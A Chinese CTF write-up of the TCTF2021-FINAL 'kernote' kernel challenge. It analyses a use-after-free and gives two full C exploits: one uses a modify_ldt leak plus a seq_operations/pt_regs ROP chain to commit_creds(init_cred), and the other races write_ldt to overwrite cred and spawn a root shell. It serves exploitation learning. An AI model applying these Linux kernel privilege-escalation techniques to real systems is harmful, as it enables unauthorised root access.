0%

ldt_struct+modify_ldt+条件竞争

kernote 复现

该题目的文件系统是 ext4(不是常规 kernel pwn 使用的 ramfs),我们可以使用 mount 命令将其挂载以查看并修改其内容

1
2
mkdir rootfs
sudo mount rootfs.img /home/yhellow/桌面/TCTF2021-FINAL-kernote/rootfs/

读取信息:

1
bzImage: Linux kernel x86 boot executable bzImage, version 5.11.9 (yzloser@yzloser-rubbish) #2 SMP Wed Sep 22 23:03:52 CST 2021, RO-rootFS, swap_dev 0x9, Normal VGA
  • version 5.11.9
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-hda ./rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
-monitor /dev/null \
-smp cores=2,threads=2 \
-nographic \
-cpu kvm64,+smep,+smap \
-no-reboot \
-snapshot
  • smep,smap,kaslr,KPTI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
#mount -t devtmpfs devtmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev>/proc/sys/kernel/hotplug
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo "flag{testflag}">/flag
chmod 660 /flag
insmod /kernote.ko
#/sbin/mdev -s
chmod 666 /dev/kernote
chmod 777 /tmp
setsid cttyhack setuidgid 1000 sh
poweroff -f
  • /proc/sys/kernel/dmesg_restrict
  • /proc/sys/kernel/kptr_restrict

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( (_DWORD)cmd == 0x6668 )                  // FREE_NOTE
{
key = -1LL;
if ( index <= 0xF )
{
note_tmp = buf[index];
if ( note_tmp )
{
kfree(note_tmp);
key = 0LL;
buf[index] = 0LL; // UAF
}
}
goto LABEL_15;
}
  • 在内核内存释放时,只置空了全局变量 buf,而没有置空 note
1
2
3
4
5
6
7
8
9
10
if ( (_DWORD)cmd == 0x6669 )                  // EDIT_NOTE
{
key = -1LL;
if ( note )
{
*note = index;
key = 0LL;
}
goto LABEL_15;
}
  • 允许向全局变量 note 中写入数据

入侵思路

有 UAF,申请的大小为 0x8 字节,在 Slub 中是 kmalloc-8

但本题目没有使用常规的 Slub,而是 Slab:

1
2
3
4
5
6
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
  • Random Freelist:slab 的 freelist 会进行一定的随机化
  • Hardened Freelist:slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或
  • Hardened Usercopy:在向内核拷贝数据时会进行检查
    • 地址是否存在
    • 是否在堆栈中
    • 是否为 slab 中 object
    • 是否非内核 .text 段内地址
  • Static Usermodehelper Path:modprobe_path 为只读,不可修改

在 Slab 中的最小 object 为32字节,因此本程序会申请 kmalloc-32,于是选择使用 ldt_struct + modify_ldt 来泄露内核基地址(在之前的博客中提到过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
return (unsigned int)ret;
}
  • 这里需要注意 read_ldtwrite_ldt 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
......
new_ldt = alloc_ldt_struct(new_nr_entries);
......
return error;
}

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
......
}
  • write_ldt 中会调用 alloc_ldt_struct,然后根据用户输入的大小来重新分配 ldt_struct 结构体
1
2
3
4
5
6
7
8
9
10
11
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
......

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

......
}
  • read_ldt 会调用 copy_to_userldt_struct->entries 中的数据返回给用户态

泄露的思路如下:

  • 申请并释放一个 object
  • 使用 write_ldt 中的 alloc_ldt_struct 函数复用这个 object
  • 使用 UAF 修改 object->entries
  • 使用 read_ldtobject->entries 输送给用户态

由于在通常情况下内核会开启 hardened usercopy 保护,当 copy_to_user 的源地址为内核 .text 段(包括 _stext_etext)时会引起 kernel panic

我们只能先爆破线性映射区 direct mapping area(kmalloc 使用的空间),然后通过 read_ldt 在堆上读取一些可利用的内核指针并泄露内核基地址

大致模板如下:

如果直接搜索整个线性映射区域,很有可能触发 hardened usercopy 的检查(目前不知道原因)

可以通过 fork 函数来绕过该检查,原理如下:

1
2
3
4
5
6
7
8
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()
1
2
3
4
5
6
7
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
......
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);
......
}
  • 在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查
  • 只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt 读取数据即可

接下来有两种提权思路:

  • 使用 seq_operations + pt_regs 绕过 KPTI
  • write_ldt 中进行条件竞争,使用 Double fetch 修改进程 uid 完成提权

seq_operations + pt_regs

结构体 seq_operations 的条目如下:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 打开 /proc/self/stat 文件就可以分配一个 seq_operations
  • 对其进行 Read 即可触发 seq_operations->start

结构体 pt_regs 的条目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
  • 当执行 entry_SYSCALL_64 时会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体
  • 在系统调用的过程 r8 ~ r15 其实是用不上的,可以在这里放置 ROP 链
  • 由于开了 KPTI,则需要在 ROP 末尾放上 swapgs_restore_regs_and_return_to_usermode + offset 用于在回到用户态前修改 CR4 寄存器
  • PS:这个 offset 在不同的内核版本中有所不同,可以通过调试来确定其值

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0x55555555;"
"mov r14, 0x44444444;"
"mov r13, 0x33333333;" // start
"mov r12, 0x22222222;"
"mov rbp, 0x11111111;"
"mov rbx, 0xbbbbbbbb;"
"mov r11, 0x11111111;"
"mov r10, 0x00000000;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

GDB 打印内存如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> telescope 0xffffa950001b3f68
00:0000│ rsp 0xffffa950001b3f68 ◂— xor esi, dword ptr [rbx] /* 0x33333333; '3333' */
01:00080xffffa950001b3f70 ◂— and ah, byte ptr [rdx] /* 0x22222222; '""""' */
02:00100xffffa950001b3f78 ◂— stosb byte ptr [rdi], al /* 0xaaaaaaaa */
03:00180xffffa950001b3f80 ◂— mov ebx, 0xbbbbbb /* 0xbbbbbbbb */
04:00200xffffa950001b3f88 ◂— 0x246
05:00280xffffa950001b3f90 ◂— 0
06:00300xffffa950001b3f98 ◂— mov byte ptr [rax + 0x8888], cl /* 0x88888888 */
07:00380xffffa950001b3fa0 ◂— cdq /* 0x99999999 */
08:00400xffffa950001b3fa8 ◂— 0xffffffffffffffda
09:00480xffffa950001b3fb0 —▸ 0x40217a ◂— call 0x401c61
0a:00500xffffa950001b3fb8 ◂— 8
0b:00580xffffa950001b3fc0 —▸ 0x7ffe497db4c0 ◂— pop rax /* 0xa4497db658 */
0c:00600xffffa950001b3fc8 ◂— 0x6
0d:00680xffffa950001b3fd0 ◂— 0
0e:00700xffffa950001b3fd8 —▸ 0x40217a ◂— call 0x401c61
0f:00780xffffa950001b3fe0 ◂— 0x33 /* '3' */
10:00800xffffa950001b3fe8 ◂— 0x246
11:00880xffffa950001b3ff0 —▸ 0x7ffe497db4c0 ◂— pop rax /* 0xa4497db658 */
12:00900xffffa950001b3ff8 ◂— 0x2b /* '+' */
  • 在合适和位置放置合适的 gadget 就好了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>

#define FREE_NOTE 0x6668
#define PUT_NOTE 0x6666
#define CREATE_NOTE 0x6667
#define EDIT_NOTE 0x6669

size_t user_cs, user_ss, user_rflags, user_sp;
int fd;
int seq_fd;

int init_fd(char* str){
fd = open(str,O_RDWR);
if(fd < 0){
puts("open wrong");
}
}

void die(const char* msg)
{
perror(msg);
_exit(-1);
}

void save_reg()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("save");
}

void get_root(void)
{
if(getuid())
{
puts("root wrong");
exit(-1);
}

puts("get root");
system("/bin/sh");
}

void notePut(int index)
{
ioctl(fd, PUT_NOTE, index);
}

void noteCreate(int index)
{
ioctl(fd, CREATE_NOTE, index);
}

void noteFree(int index)
{
ioctl(fd, FREE_NOTE, index);
}

void noteEdit(size_t data)
{
ioctl(fd, EDIT_NOTE, data);
}

size_t magic = 0xffffffff817c21a6; /* add rsp, 0x198; pop r12; pop rbp; ret; */
size_t pop_rdi_ret = 0xffffffff81075c4c;
size_t commit_creds = 0xffffffff810c9dd0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10;
size_t init_cred = 0xffffffff8266b780;

int main()
{
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
size_t kernel_base = 0xffffffff81000000;
size_t search_addr = 0x0;
size_t kernel_offset = 0x0;
size_t *buf;
int pipe_fd[2] = {0};
int retval;

save_reg();
init_fd("/dev/kernote");

desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

noteCreate(0);
notePut(0);
noteFree(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

while(1)
{
noteEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x4000000;
}
printf("page_offset_base: 0x%lx\n", page_offset_base);

pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
kernel_base = 0;
while(1)
{
noteEdit(search_addr);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);

for (int i = 0; i < 0x1000; i++)
{
if (buf[i] > 0xffffffff81000000 && (buf[i] & 0xfff) == 0x040)
{
kernel_base = buf[i] - 0x040;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("found kernel base: 0x%lx\n", kernel_base);
printf("kernel offset: 0x%lx\n", kernel_offset);
}
}

write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if (kernel_base)
break;
search_addr += 0x8000;
}

kernel_offset = kernel_base - 0xffffffff81000000;

magic += kernel_offset;
pop_rdi_ret += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset;
init_cred += kernel_offset;

noteCreate(1);
notePut(1);
noteFree(1);

seq_fd = open("/proc/self/stat", O_RDONLY);
noteEdit(magic);
printf("magic gadget: 0x%lx\n", magic);
sleep(2);

__asm__(
"mov r15, 0x55555555;"
"mov r14, 0x44444444;"
"mov r13, pop_rdi_ret;"
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x11111111;"
"mov r10, 0x00000000;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

get_root();

return 0;
}

ldt_struct + modify_ldt + 条件竞争

利用条件竞争可以在 write_ldt 中实现任意写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{

......

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;

......

}
  • 基础的逻辑为:
    • 新申请一个 ldt_struct
    • 执行 memcpy 把旧的 ldt_struct 数据拷贝到新的 ldt_struct
  • 注意最后一句 new_ldt->entries[ldt_info.entry_number] = ldt
    • ldt 是我们写入的数据
  • 通过条件竞争的方式在 memcpy 过程中将 new_ldt->entries 更改为我们的目标地址从而完成任意地址写,即 Double Fetch

使用条件竞争通常都是修改 task_struct 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct task_struct {

......

const struct cred __rcu *ptracer_cred;
const struct cred __rcu *real_cred;
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
struct key *cached_requested_key;
#endif
char comm[TASK_COMM_LEN];

struct nameidata *nameidata;

......
};

我们可以用和爆破内核基地址类似的方式来爆破 task_struct

  • 字段 comm[TASK_COMM_LEN] 存放着该进程的名字
  • 使用 prctl(PR_SET_NAME, "name") 可以修改 comm[TASK_COMM_LEN] 字段
  • 使用 memmem 可以在一块内存中寻找匹配另一块内存的内容的第一个位置

参考爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
while(1)
{
noteEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x4000000;
}
printf("page_offset_base: 0x%lx\n", page_offset_base);

cur_pid = getpid();
prctl(PR_SET_NAME, "aaaaaaaa");
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
cred_addr = 0;

while(1)
{
noteEdit(search_addr);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = (size_t*) memmem(buf, 0x8000, "aaaaaaaa", 8);
if (result_addr \
&& (result_addr[-2] > page_offset_base) \
&& (result_addr[-3] > page_offset_base) \
&& (((int) result_addr[-58]) == cur_pid))
{
cred_addr = result_addr[-2];
printf("found cred_addr: 0x%lx\n", cred_addr);
}
write(pipe_fd[1], &cred_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr)
break;
search_addr += 0x8000;
}

在我们获得了 cred 的地址之后,我们只需要将 cred->euid 更改为 0 就能拥有 root 权限,之后再调用 setreuid 等一系列函数完成全面的提权,详细步骤如下:

  • 开启一个子进程(为了不触发 hardened usercopy
  • 在子进程中再开启一个子进程,申请多个 note 并释放(为了后续的 ldt_struct 可以命中 UAF 堆块)
  • 并不断往全局变量 note 写入 cred_addr+4(为了修改 new_ldt->entriescred_addr+4
  • 在父进程中调用 write_ldt

在满足如下两个条件时,就可以成功提权:

  • alloc_ldt_struct 执行之后,生成的 ldt_struct 成功命中 UAF 堆块
  • new_ldt->entries[ldt_info.entry_number] = ldt 执行之前,成功写入 cred_addr+4

最后条件竞争的过程有点抽象,我尝试了 30~40 遍才成功一次

  • 为了提高利用的成功率,可以使用 sched_setaffinity 将相应的进程绑定到单个 CPU 上(在 run.sh 中定义了两个核)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>

#define FREE_NOTE 0x6668
#define PUT_NOTE 0x6666
#define CREATE_NOTE 0x6667
#define EDIT_NOTE 0x6669

size_t user_cs, user_ss, user_rflags, user_sp;
int fd;
int seq_fd;

int init_fd(char* str){
fd = open(str,O_RDWR);
if(fd < 0){
puts("open wrong");
}
}

void die(const char* msg)
{
perror(msg);
_exit(-1);
}

void save_reg()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("save");
}

void get_root(void)
{
if(getuid())
{
puts("root wrong");
exit(-1);
}
puts("get root");
setreuid(0,0);
setregid(0,0);
system("/bin/sh");
}

void notePut(int index)
{
ioctl(fd, PUT_NOTE, index);
}

void noteCreate(int index)
{
ioctl(fd, CREATE_NOTE, index);
}

void noteFree(int index)
{
ioctl(fd, FREE_NOTE, index);
}

void noteEdit(size_t data)
{
ioctl(fd, EDIT_NOTE, data);
}

int main()
{
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
size_t cred_addr = 0x0;
size_t search_addr = 0x0;
size_t *buf;
size_t *result_addr;
int pipe_fd[2] = {0};
int retval;
int cur_pid;
cpu_set_t cpu_set;

save_reg();
init_fd("/dev/kernote");

desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

noteCreate(0);
notePut(0);
noteFree(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

while(1)
{
noteEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x4000000;
}
printf("page_offset_base: 0x%lx\n", page_offset_base);

cur_pid = getpid();
prctl(PR_SET_NAME, "aaaaaaaa");
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
cred_addr = 0;

while(1)
{
noteEdit(search_addr);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = (size_t*) memmem(buf, 0x8000, "aaaaaaaa", 8);
if (result_addr \
&& (result_addr[-2] > page_offset_base) \
&& (result_addr[-3] > page_offset_base) \
&& (((int) result_addr[-58]) == cur_pid))
{
cred_addr = result_addr[-2];
printf("found cred_addr: 0x%lx\n", cred_addr);
}
write(pipe_fd[1], &cred_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr)
break;
search_addr += 0x8000;
}

retval = fork();
if (!retval) // child
{
retval = fork();
if (!retval) // child's child
{
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
sleep(1);
for (int i = 1; i < 15; i++)
noteCreate(i);
notePut(11);
for (int i = 1; i < 15; i++)
noteFree(i);
CPU_ZERO(&cpu_set);
CPU_SET(1, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
while (1)
noteEdit(cred_addr + 4);
}
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
desc.base_addr = 0;
desc.entry_number = 2;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
sleep(3);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
sleep(10000);
}
sleep(15);

get_root();

return 0;
}

小结:

感谢 arttnba3 大佬的博客:TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3’s blog

学习到了 ldt_struct + modify_ldt 通过条件竞争进行的 WAA(虽然成功率有点低)

通过调试已经基本掌握了 seq_operations + pt_regs 这种利用手法